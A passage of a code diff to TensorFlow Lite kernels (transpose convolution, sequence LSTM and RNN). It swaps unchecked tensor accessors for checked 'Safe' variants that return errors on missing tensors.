+      context, GetInputSafe(context, node, kOutputShapeTensor, &output_shape));
+  const TfLiteTensor* weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kWeightsTensor, &weights));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kDataInputTensor, &input));
   const TfLiteTensor* bias = nullptr;
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Tensor sanity checks
   TF_LITE_ENSURE_EQ(context, NumDimensions(output_shape), 1);
@@ -306,7 +313,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TfLiteTensor* col2im = nullptr;
   if (data->has_col2im) {
     node->temporaries->data[data->col2im_index] = data->col2im_id;
-    col2im = GetTemporary(context, node, user_data->col2im_index);
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, user_data->col2im_index, &col2im));
   }
 
   if (!IsConstantTensor(output_shape)) {
@@ -326,8 +335,11 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   if (data->weights_are_transposed) {
     node->temporaries->data[data->transposed_weights_index] =
         data->transposed_weights_id;
-    TfLiteTensor* transposed_weights =
-        GetTemporary(context, node, user_data->transposed_weights_index);
+    TfLiteTensor* transposed_weights;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, user_data->transposed_weights_index,
+                         &transposed_weights));
     if (!IsConstantTensor(weights)) {
       SetTensorToDynamic(transposed_weights);
     } else {
@@ -339,8 +351,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
       input->type == kTfLiteInt16) {
     node->temporaries->data[data->scratch_tensor_index] =
         data->scratch_tensor_id;
-    TfLiteTensor* scratch_buffer =
-        GetTemporary(context, node, data->scratch_tensor_index);
+    TfLiteTensor* scratch_buffer;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, data->scratch_tensor_index,
+                                  &scratch_buffer));
     if (input->type == kTfLiteInt16) {
       scratch_buffer->type = kTfLiteInt64;
     } else {
@@ -549,15 +563,22 @@ void EvalQuantizedPerChannel16x8(
 template <KernelType kernel_type>
 TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   // Retrieve tensors (All should be allocated by now)
-  const TfLiteTensor* output_shape =
-      GetInput(context, node, kOutputShapeTensor);
-  const TfLiteTensor* weights = GetInput(context, node, kWeightsTensor);
-  const TfLiteTensor* input = GetInput(context, node, kDataInputTensor);
+  const TfLiteTensor* output_shape;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kOutputShapeTensor, &output_shape));
+  const TfLiteTensor* weights;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kWeightsTensor, &weights));
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, kDataInputTensor, &input));
   const TfLiteTensor* bias =
       (NumInputs(node) == 4)
           ? GetOptionalInputTensor(context, node, kBiasTensor)
           : nullptr;
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
   OpData* data = reinterpret_cast<OpData*>(node->user_data);
   TfLiteTensor* col2im = data->has_col2im
                              ? GetTemporary(context, node, data->col2im_index)
@@ -604,8 +625,10 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       break;
     }
     case kTfLiteUInt8: {
-      TfLiteTensor* scratch_buffer =
-          GetTemporary(context, node, data->scratch_tensor_index);
+      TfLiteTensor* scratch_buffer;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, data->scratch_tensor_index,
+                                    &scratch_buffer));
       if (IsDynamicTensor(scratch_buffer)) {
         TF_LITE_ENSURE_OK(context,
                           ResizeTensor(context, output_shape, scratch_buffer));
@@ -621,8 +644,10 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       break;
     }
     case kTfLiteInt8: {
-      TfLiteTensor* scratch_buffer =
-          GetTemporary(context, node, data->scratch_tensor_index);
+      TfLiteTensor* scratch_buffer;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, data->scratch_tensor_index,
+                                    &scratch_buffer));
       if (IsDynamicTensor(scratch_buffer)) {
         TF_LITE_ENSURE_OK(context,
                           ResizeTensor(context, output_shape, scratch_buffer));
@@ -636,8 +661,10 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       break;
     }
     case kTfLiteInt16: {
-      TfLiteTensor* scratch_buffer =
-          GetTemporary(context, node, data->scratch_tensor_index);
+      TfLiteTensor* scratch_buffer;
+      TF_LITE_ENSURE_OK(
+          context, GetTemporarySafe(context, node, data->scratch_tensor_index,
+                                    &scratch_buffer));
       if (IsDynamicTensor(scratch_buffer)) {
         TF_LITE_ENSURE_OK(context,
                           ResizeTensor(context, output_shape, scratch_buffer));
diff --git a/tensorflow/lite/kernels/unidirectional_sequence_lstm.cc b/tensorflow/lite/kernels/unidirectional_sequence_lstm.cc
index d6c9fb93d0a8f0..240d7125a5f1b5 100644
--- a/tensorflow/lite/kernels/unidirectional_sequence_lstm.cc
+++ b/tensorflow/lite/kernels/unidirectional_sequence_lstm.cc
@@ -20,6 +20,7 @@ limitations under the License.
 #include "tensorflow/lite/c/builtin_op_data.h"
 #include "tensorflow/lite/c/common.h"
 #include "tensorflow/lite/kernels/cpu_backend_context.h"
+#include "tensorflow/lite/kernels/internal/compatibility.h"
 #include "tensorflow/lite/kernels/internal/kernel_utils.h"
 #include "tensorflow/lite/kernels/internal/tensor_utils.h"
 #include "tensorflow/lite/kernels/kernel_util.h"
@@ -88,14 +89,19 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
     TF_LITE_ENSURE_EQ(context, input_to_input_weights->dims->data[1], n_input);
   }
 
-  const TfLiteTensor* input_to_forget_weights =
-      GetInput(context, node, lstm::full::kInputToForgetWeightsTensor);
+  const TfLiteTensor* input_to_forget_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kInputToForgetWeightsTensor,
+                   &input_to_forget_weights));
   TF_LITE_ENSURE_EQ(context, input_to_forget_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_to_forget_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, input_to_forget_weights->dims->data[1], n_input);
 
-  const TfLiteTensor* input_to_cell_weights =
-      GetInput(context, node, lstm::full::kInputToCellWeightsTensor);
+  const TfLiteTensor* input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node,
+                                          lstm::full::kInputToCellWeightsTensor,
+                                          &input_to_cell_weights));
   TF_LITE_ENSURE_EQ(context, input_to_cell_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_to_cell_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, input_to_cell_weights->dims->data[1], n_input);
@@ -110,16 +116,22 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
                       n_output);
   }
 
-  const TfLiteTensor* recurrent_to_forget_weights =
-      GetInput(context, node, lstm::full::kRecurrentToForgetWeightsTensor);
+  const TfLiteTensor* recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kRecurrentToForgetWeightsTensor,
+                   &recurrent_to_forget_weights));
   TF_LITE_ENSURE_EQ(context, recurrent_to_forget_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, recurrent_to_forget_weights->dims->data[0],
                     n_cell);
   TF_LITE_ENSURE_EQ(context, recurrent_to_forget_weights->dims->data[1],
                     n_output);
 
-  const TfLiteTensor* recurrent_to_cell_weights =
-      GetInput(context, node, lstm::full::kRecurrentToCellWeightsTensor);
+  const TfLiteTensor* recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kRecurrentToCellWeightsTensor,
+                   &recurrent_to_cell_weights));
   TF_LITE_ENSURE_EQ(context, recurrent_to_cell_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, recurrent_to_cell_weights->dims->data[0], n_cell);
   TF_LITE_ENSURE_EQ(context, recurrent_to_cell_weights->dims->data[1],
@@ -176,18 +188,24 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
     TF_LITE_ENSURE_EQ(context, input_gate_bias->dims->data[0], n_cell);
   }
 
-  const TfLiteTensor* forget_gate_bias =
-      GetInput(context, node, lstm::full::kForgetGateBiasTensor);
+  const TfLiteTensor* forget_gate_bias;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, lstm::full::kForgetGateBiasTensor,
+                            &forget_gate_bias));
   TF_LITE_ENSURE_EQ(context, forget_gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, forget_gate_bias->dims->data[0], n_cell);
 
-  const TfLiteTensor* cell_gate_bias =
-      GetInput(context, node, lstm::full::kCellGateBiasTensor);
+  const TfLiteTensor* cell_gate_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, lstm::full::kCellGateBiasTensor,
+                                 &cell_gate_bias));
   TF_LITE_ENSURE_EQ(context, cell_gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, cell_gate_bias->dims->data[0], n_cell);
 
-  const TfLiteTensor* output_gate_bias =
-      GetInput(context, node, lstm::full::kOutputGateBiasTensor);
+  const TfLiteTensor* output_gate_bias;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, lstm::full::kOutputGateBiasTensor,
+                            &output_gate_bias));
   TF_LITE_ENSURE_EQ(context, output_gate_bias->dims->size, 1);
   TF_LITE_ENSURE_EQ(context, output_gate_bias->dims->data[0], n_cell);
 
@@ -229,27 +247,33 @@ TfLiteStatus CheckInputTensorDimensions(TfLiteContext* context,
                               kTfLiteFloat32);
     }
 
-    const TfLiteTensor* forget_layer_norm_coefficients =
-        GetInput(context, node, lstm::full::kForgetLayerNormCoefficientsTensor);
-    TF_LITE_ENSURE(context, forget_layer_norm_coefficients != nullptr);
+    const TfLiteTensor* forget_layer_norm_coefficients;
+    TF_LITE_ENSURE_OK(
+        context, GetInputSafe(context, node,
+                              lstm::full::kForgetLayerNormCoefficientsTensor,
+                              &forget_layer_norm_coefficients));
     TF_LITE_ENSURE_EQ(context, forget_layer_norm_coefficients->dims->size, 1);
     TF_LITE_ENSURE_EQ(context, forget_layer_norm_coefficients->dims->data[0],
                       n_cell);
     TF_LITE_ENSURE_TYPES_EQ(context, forget_layer_norm_coefficients->type,
                             kTfLiteFloat32);
 
-    const TfLiteTensor* cell_layer_norm_coefficients =
-        GetInput(context, node, lstm::full::kCellLayerNormCoefficientsTensor);
-    TF_LITE_ENSURE(context, cell_layer_norm_coefficients != nullptr);
+    const TfLiteTensor* cell_layer_norm_coefficients;
+    TF_LITE_ENSURE_OK(context,
+                      GetInputSafe(context, node,
+                                   lstm::full::kCellLayerNormCoefficientsTensor,
+                                   &cell_layer_norm_coefficients));
     TF_LITE_ENSURE_EQ(context, cell_layer_norm_coefficients->dims->size, 1);
     TF_LITE_ENSURE_EQ(context, cell_layer_norm_coefficients->dims->data[0],
                       n_cell);
     TF_LITE_ENSURE_TYPES_EQ(context, cell_layer_norm_coefficients->type,
                             kTfLiteFloat32);
 
-    const TfLiteTensor* output_layer_norm_coefficients =
-        GetInput(context, node, lstm::full::kOutputLayerNormCoefficientsTensor);
-    TF_LITE_ENSURE(context, output_layer_norm_coefficients != nullptr);
+    const TfLiteTensor* output_layer_norm_coefficients;
+    TF_LITE_ENSURE_OK(
+        context, GetInputSafe(context, node,
+                              lstm::full::kOutputLayerNormCoefficientsTensor,
+                              &output_layer_norm_coefficients));
     TF_LITE_ENSURE_EQ(context, output_layer_norm_coefficients->dims->size, 1);
     TF_LITE_ENSURE_EQ(context, output_layer_norm_coefficients->dims->data[0],
                       n_cell);
@@ -291,7 +315,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
 
   // Inferring batch size, number of outputs and sequence length and
   // number of cells from the input tensors.
-  const TfLiteTensor* input = GetInput(context, node, lstm::full::kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, lstm::full::kInputTensor, &input));
   TF_LITE_ENSURE_TYPES_EQ(context, input->type, kTfLiteFloat32);
   TF_LITE_ENSURE(context, input->dims->size > 1);
   const auto* params =
@@ -301,14 +327,20 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   const int n_batch = time_major ? input->dims->data[1] : input->dims->data[0];
   const int n_input = input->dims->data[2];
 
-  const TfLiteTensor* input_to_output_weights =
-      GetInput(context, node, lstm::full::kInputToOutputWeightsTensor);
+  const TfLiteTensor* input_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kInputToOutputWeightsTensor,
+                   &input_to_output_weights));
   const int n_cell = input_to_output_weights->dims->data[0];
   TF_LITE_ENSURE_EQ(context, input_to_output_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, input_to_output_weights->dims->data[1], n_input);
 
-  const TfLiteTensor* recurrent_to_output_weights =
-      GetInput(context, node, lstm::full::kRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kRecurrentToOutputWeightsTensor,
+                   &recurrent_to_output_weights));
   TF_LITE_ENSURE_EQ(context, recurrent_to_output_weights->dims->size, 2);
   TF_LITE_ENSURE_EQ(context, recurrent_to_output_weights->dims->data[0],
                     n_cell);
@@ -320,7 +352,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                n_cell, is_layer_norm_lstm));
 
   // Get the pointer to output, output_state and cell_state buffer tensors.
-  TfLiteTensor* output = GetOutput(context, node, lstm::full::kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,
+                                           lstm::full::kOutputTensor, &output));
 
   TfLiteTensor* output_state =
       GetVariableInput(context, node, lstm::full::kOutputStateTensor);
@@ -351,7 +385,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
       scratch_tensor_index + kScratchBuffer;
 
   // Create a scratch buffer tensor.
-  TfLiteTensor* scratch_buffer = GetTemporary(context, node, kScratchBuffer);
+  TfLiteTensor* scratch_buffer;
+  TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kScratchBuffer,
+                                              &scratch_buffer));
   scratch_buffer->type = input->type;
   scratch_buffer->allocation_type = kTfLiteArenaRw;
 
@@ -376,8 +412,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // output_state and cell_state tensors.
     node->temporaries->data[kInputQuantized] =
         scratch_tensor_index + kInputQuantized;
-    TfLiteTensor* input_quantized =
-        GetTemporary(context, node, kInputQuantized);
+    TfLiteTensor* input_quantized;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kInputQuantized,
+                                                &input_quantized));
     input_quantized->type = input_to_output_weights->type;
     input_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(input_quantized->dims, input->dims)) {
@@ -387,8 +424,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kOutputStateQuantized] =
         scratch_tensor_index + kOutputStateQuantized;
-    TfLiteTensor* output_state_quantized =
-        GetTemporary(context, node, kOutputStateQuantized);
+    TfLiteTensor* output_state_quantized;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kOutputStateQuantized,
+                                       &output_state_quantized));
     output_state_quantized->type = input_to_output_weights->type;
     output_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(output_state_quantized->dims,
@@ -401,8 +440,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kCellStateQuantized] =
         scratch_tensor_index + kCellStateQuantized;
-    TfLiteTensor* cell_state_quantized =
-        GetTemporary(context, node, kCellStateQuantized);
+    TfLiteTensor* cell_state_quantized;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kCellStateQuantized,
+                                       &cell_state_quantized));
     cell_state_quantized->type = input_to_output_weights->type;
     cell_state_quantized->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqual(cell_state_quantized->dims, cell_state->dims)) {
@@ -420,7 +461,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // the scaling factor of the matrix).
     node->temporaries->data[kInputScalingFactors] =
         op_data->scratch_tensor_index + kInputScalingFactors;
-    TfLiteTensor* input_sf = GetTemporary(context, node, kInputScalingFactors);
+    TfLiteTensor* input_sf;
+    TF_LITE_ENSURE_OK(
+        context,
+        GetTemporarySafe(context, node, kInputScalingFactors, &input_sf));
     input_sf->type = kTfLiteFloat32;
     input_sf->allocation_type = kTfLiteArenaRw;
     int scaling_dims[1] = {n_batch};
@@ -432,8 +476,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kOutputStateScalingFactors] =
         op_data->scratch_tensor_index + kOutputStateScalingFactors;
-    TfLiteTensor* output_state_sf =
-        GetTemporary(context, node, kOutputStateScalingFactors);
+    TfLiteTensor* output_state_sf;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kOutputStateScalingFactors,
+                                  &output_state_sf));
     output_state_sf->type = kTfLiteFloat32;
     output_state_sf->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(output_state_sf->dims, 1, scaling_dims)) {
@@ -444,8 +490,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kProductScalingFactors] =
         scratch_tensor_index + kProductScalingFactors;
-    TfLiteTensor* prod_scaling_factors =
-        GetTemporary(context, node, kProductScalingFactors);
+    TfLiteTensor* prod_scaling_factors;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kProductScalingFactors,
+                                       &prod_scaling_factors));
     prod_scaling_factors->type = kTfLiteFloat32;
     prod_scaling_factors->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(prod_scaling_factors->dims, 1,
@@ -461,8 +509,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // this is used for diagonal matrices, only need to store n_cell values.
     node->temporaries->data[kRecoveredCellWeights] =
         scratch_tensor_index + kRecoveredCellWeights;
-    TfLiteTensor* recovered_cell_weights =
-        GetTemporary(context, node, kRecoveredCellWeights);
+    TfLiteTensor* recovered_cell_weights;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kRecoveredCellWeights,
+                                       &recovered_cell_weights));
     recovered_cell_weights->type = kTfLiteFloat32;
     recovered_cell_weights->allocation_type = kTfLiteArenaRw;
     int recovered_cell_dims[1] = {n_cell};
@@ -478,7 +528,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     // Allocate a temporary tensor to store the accumulated int32 values.
     node->temporaries->data[kAccumScratch] =
         scratch_tensor_index + kAccumScratch;
-    TfLiteTensor* accum_scratch = GetTemporary(context, node, kAccumScratch);
+    TfLiteTensor* accum_scratch;
+    TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kAccumScratch,
+                                                &accum_scratch));
     accum_scratch->type = kTfLiteInt32;
     accum_scratch->allocation_type = kTfLiteArenaRw;
     int accum_scratch_dims[2] = {n_cell, n_batch};
@@ -492,7 +544,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kInputZeroPoints] =
         op_data->scratch_tensor_index + kInputZeroPoints;
-    TfLiteTensor* input_zp = GetTemporary(context, node, kInputZeroPoints);
+    TfLiteTensor* input_zp;
+    TF_LITE_ENSURE_OK(
+        context, GetTemporarySafe(context, node, kInputZeroPoints, &input_zp));
     input_zp->type = kTfLiteFloat32;
     input_zp->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(input_zp->dims, 1, scaling_dims)) {
@@ -503,8 +557,10 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
     }
     node->temporaries->data[kOutputStateZeroPoints] =
         op_data->scratch_tensor_index + kOutputStateZeroPoints;
-    TfLiteTensor* output_state_zp =
-        GetTemporary(context, node, kOutputStateZeroPoints);
+    TfLiteTensor* output_state_zp;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kOutputStateZeroPoints,
+                                       &output_state_zp));
     output_state_zp->type = kTfLiteFloat32;
     output_state_zp->allocation_type = kTfLiteArenaRw;
     if (!TfLiteIntArrayEqualsArray(output_state_zp->dims, 1, scaling_dims)) {
@@ -514,7 +570,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
                                                        output_state_zp_size));
     }
     node->temporaries->data[kRowSums] = scratch_tensor_index + kRowSums;
-    TfLiteTensor* row_sums = GetTemporary(context, node, kRowSums);
+    TfLiteTensor* row_sums;
+    TF_LITE_ENSURE_OK(context,
+                      GetTemporarySafe(context, node, kRowSums, &row_sums));
     row_sums->type = kTfLiteInt32;
     row_sums->allocation_type = kTfLiteArenaRwPersistent;
     int row_sums_rows = use_cifg ? 6 : 8;
@@ -542,25 +600,44 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
   const OpData* op_data = reinterpret_cast<OpData*>(node->user_data);
   const bool is_layer_norm_lstm = op_data->is_layer_norm_lstm;
   const bool time_major = params->time_major;
-  const TfLiteTensor* input = GetInput(context, node, lstm::full::kInputTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, lstm::full::kInputTensor, &input));
 
   const TfLiteTensor* input_to_input_weights = GetOptionalInputTensor(
       context, node, lstm::full::kInputToInputWeightsTensor);
-  const TfLiteTensor* input_to_forget_weights =
-      GetInput(context, node, lstm::full::kInputToForgetWeightsTensor);
-  const TfLiteTensor* input_to_cell_weights =
-      GetInput(context, node, lstm::full::kInputToCellWeightsTensor);
-  const TfLiteTensor* input_to_output_weights =
-      GetInput(context, node, lstm::full::kInputToOutputWeightsTensor);
+  const TfLiteTensor* input_to_forget_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kInputToForgetWeightsTensor,
+                   &input_to_forget_weights));
+  const TfLiteTensor* input_to_cell_weights;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node,
+                                          lstm::full::kInputToCellWeightsTensor,
+                                          &input_to_cell_weights));
+  const TfLiteTensor* input_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kInputToOutputWeightsTensor,
+                   &input_to_output_weights));
 
   const TfLiteTensor* recurrent_to_input_weights = GetOptionalInputTensor(
       context, node, lstm::full::kRecurrentToInputWeightsTensor);
-  const TfLiteTensor* recurrent_to_forget_weights =
-      GetInput(context, node, lstm::full::kRecurrentToForgetWeightsTensor);
-  const TfLiteTensor* recurrent_to_cell_weights =
-      GetInput(context, node, lstm::full::kRecurrentToCellWeightsTensor);
-  const TfLiteTensor* recurrent_to_output_weights =
-      GetInput(context, node, lstm::full::kRecurrentToOutputWeightsTensor);
+  const TfLiteTensor* recurrent_to_forget_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kRecurrentToForgetWeightsTensor,
+                   &recurrent_to_forget_weights));
+  const TfLiteTensor* recurrent_to_cell_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kRecurrentToCellWeightsTensor,
+                   &recurrent_to_cell_weights));
+  const TfLiteTensor* recurrent_to_output_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, lstm::full::kRecurrentToOutputWeightsTensor,
+                   &recurrent_to_output_weights));
 
   const TfLiteTensor* cell_to_input_weights = GetOptionalInputTensor(
       context, node, lstm::full::kCellToInputWeightsTensor);
@@ -571,12 +648,18 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
 
   const TfLiteTensor* input_gate_bias =
       GetOptionalInputTensor(context, node, lstm::full::kInputGateBiasTensor);
-  const TfLiteTensor* forget_gate_bias =
-      GetInput(context, node, lstm::full::kForgetGateBiasTensor);
-  const TfLiteTensor* cell_gate_bias =
-      GetInput(context, node, lstm::full::kCellGateBiasTensor);
-  const TfLiteTensor* output_gate_bias =
-      GetInput(context, node, lstm::full::kOutputGateBiasTensor);
+  const TfLiteTensor* forget_gate_bias;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, lstm::full::kForgetGateBiasTensor,
+                            &forget_gate_bias));
+  const TfLiteTensor* cell_gate_bias;
+  TF_LITE_ENSURE_OK(context,
+                    GetInputSafe(context, node, lstm::full::kCellGateBiasTensor,
+                                 &cell_gate_bias));
+  const TfLiteTensor* output_gate_bias;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, lstm::full::kOutputGateBiasTensor,
+                            &output_gate_bias));
 
   const TfLiteTensor* projection_weights = GetOptionalInputTensor(
       context, node, lstm::full::kProjectionWeightsTensor);
@@ -584,14 +667,16 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
       GetOptionalInputTensor(context, node, lstm::full::kProjectionBiasTensor);
 
   // Index the scratch buffers pointers to the global scratch buffer.
-  TfLiteTensor* scratch_buffer = GetTemporary(context, node, kScratchBuffer);
+  TfLiteTensor* scratch_buffer;
+  TF_LITE_ENSURE_OK(context, GetTemporarySafe(context, node, kScratchBuffer,
+                                              &scratch_buffer));
 
   TfLiteTensor* output_state =
       GetVariableInput(context, node, lstm::full::kOutputStateTensor);
-  TF_LITE_ENSURE(context, output_state != nullptr);
+  TFLITE_DCHECK(output_state != nullptr);
   TfLiteTensor* cell_state =
       GetVariableInput(context, node, lstm::full::kCellStateTensor);
-  TF_LITE_ENSURE(context, cell_state != nullptr);
+  TFLITE_DCHECK(cell_state != nullptr);
 
   const TfLiteTensor* input_layer_norm_coefficients =
       is_layer_norm_lstm
@@ -614,7 +699,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
                      lstm::full::kOutputLayerNormCoefficientsTensor)
           : nullptr;
 
-  TfLiteTensor* output = GetOutput(context, node, lstm::full::kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context, GetOutputSafe(context, node,
+                                           lstm::full::kOutputTensor, &output));
 
   // Copy out the LSTM specific params so they can be passed in the function.
   TfLiteLSTMParams lstm_params;
@@ -647,7 +734,9 @@ TfLiteStatus Eval(TfLiteContext* context, TfLiteNode* node) {
     case kTfLiteUInt8:
     case kTfLiteInt8: {
       OpData* op_data = reinterpret_cast<OpData*>(node->user_data);
-      TfLiteTensor* row_sums = GetTemporary(context, node, kRowSums);
+      TfLiteTensor* row_sums;
+      TF_LITE_ENSURE_OK(context,
+                        GetTemporarySafe(context, node, kRowSums, &row_sums));
       const int row_sums_size = row_sums->dims->data[0];
       return lstm_eval::EvalHybrid(
           input, input_to_input_weights,
diff --git a/tensorflow/lite/kernels/unidirectional_sequence_rnn.cc b/tensorflow/lite/kernels/unidirectional_sequence_rnn.cc
index 350ca293cbfee0..ba243d429762eb 100644
--- a/tensorflow/lite/kernels/unidirectional_sequence_rnn.cc
+++ b/tensorflow/lite/kernels/unidirectional_sequence_rnn.cc
@@ -61,13 +61,20 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, node->inputs->size, 5);
   TF_LITE_ENSURE_EQ(context, node->outputs->size, 1);
 
-  const TfLiteTensor* input = GetInput(context, node, kInputTensor);
-  const TfLiteTensor* input_weights = GetInput(context, node, kWeightsTensor);
-  const TfLiteTensor* recurrent_weights =
-      GetInput(context, node, kRecurrentWeightsTensor);
-  const TfLiteTensor* bias = GetInput(context, node, kBiasTensor);
-  const TfLiteTensor* hidden_state =
-      GetInput(context, node, kHiddenStateTensor);
+  const TfLiteTensor* input;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kInputTensor, &input));
+  const TfLiteTensor* input_weights;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kWeightsTensor, &input_weights));
+  const TfLiteTensor* recurrent_weights;
+  TF_LITE_ENSURE_OK(
+      context,
+      GetInputSafe(context, node, kRecurrentWeightsTensor, &recurrent_weights));
+  const TfLiteTensor* bias;
+  TF_LITE_ENSURE_OK(context, GetInputSafe(context, node, kBiasTensor, &bias));
+  const TfLiteTensor* hidden_state;
+  TF_LITE_ENSURE_OK(
+      context, GetInputSafe(context, node, kHiddenStateTensor, &hidden_state));
 
   // Check all the parameters of tensor match within themselves and match the
   // input configuration.
@@ -92,7 +99,9 @@ TfLiteStatus Prepare(TfLiteContext* context, TfLiteNode* node) {
   TF_LITE_ENSURE_EQ(context, hidden_state->dims->data[0], batch_size);
   TF_LITE_ENSURE_EQ(context, hidden_state->dims->data[1], num_units);
 
-  TfLiteTensor* output = GetOutput(context, node, kOutputTensor);
+  TfLiteTensor* output;
+  TF_LITE_ENSURE_OK(context,
+                    GetOutputSafe(context, node, kOutputTensor, &output));
 
   // Resize output.
